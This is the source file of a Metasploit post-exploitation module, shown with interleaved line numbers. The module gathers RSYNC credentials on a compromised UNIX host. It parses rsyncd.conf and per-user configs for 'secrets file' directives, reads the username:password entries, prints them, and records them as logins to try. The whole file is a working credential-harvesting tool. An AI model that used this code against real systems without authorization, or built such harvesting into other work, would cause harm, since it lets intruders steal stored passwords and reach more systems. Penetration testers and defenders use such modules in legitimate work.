Path: blob/master/modules/post/multi/gather/rsyncd_creds.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather RSYNC Credentials',14'Description' => %q{15Post Module to obtain credentials saved for RSYNC in various locations16},17'License' => MSF_LICENSE,18'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],19'SessionTypes' => %w[shell],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24}25)26)2728register_options(29[30OptString.new('USER_CONFIG', [31false, 'Attempt to get passwords from this RSYNC ' \32'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'33])34]35)36register_advanced_options(37[38OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])39]40)41end4243def setup44@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']45end4647def dump_rsync_secrets(config_file)48vprint_status("Attempting to get RSYNC creds from #{config_file}")49creds_table = Rex::Text::Table.new(50'Header' => "RSYNC credentials from #{config_file}",51'Columns' => %w[Username Password Module]52)5354# read the rsync configuration file, extracting the 'secrets file'55# directive for any rsync modules (shares) within56rsync_config = Rex::Parser::Ini.new(config_file)57# https://github.com/rapid7/metasploit-framework/issues/626558rsync_config.each_key do |rmodule|59# XXX: Ini assumes anything on either side of the = is the key and value,60# including spaces, so we need to fix this61module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]62next unless (secrets_file = module_config['secrets file'])6364read_file(secrets_file).split(/\n/).map do |line|65next if line =~ /^#/6667if /^(?<user>[^:]+):(?<password>.*)$/ =~ line68creds_table << [ user, password, rmodule ]69report_rsync_cred(user, password, rmodule)70end71end72end7374return if creds_table.rows.empty?7576print_line(creds_table.to_s)77end7879def report_rsync_cred(user, password, rmodule)80credential_data = {81origin_type: :session,82session_id: session_db_id,83post_reference_name: refname,84username: user,85private_data: password,86private_type: :password,87realm_value: rmodule,88# XXX: add to MDM?89# realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,90workspace_id: myworkspace_id91}92credential_core = create_credential(credential_data)9394login_data = {95address: session.session_host,96# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the97# 'port' directive in the global part of the rsyncd configuration file.98# Unfortunately, Rex::Parser::Ini does not support parsing this just yet99port: 873,100protocol: 'tcp',101service_name: 'rsync',102core: credential_core,103access_level: 'User',104status: Metasploit::Model::Login::Status::UNTRIED,105workspace_id: myworkspace_id106}107create_credential_login(login_data)108end109110def run111# build up a list of rsync configuration files to read, including the112# default location of the daemon config as well as any per-user113# configuration files that may exist (rare)114config_path = datastore['RSYNCD_CONFIG']115config_files = Set.new([ config_path ])116config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config117config_files.map { |config_file| dump_rsync_secrets(config_file) }118end119end120121122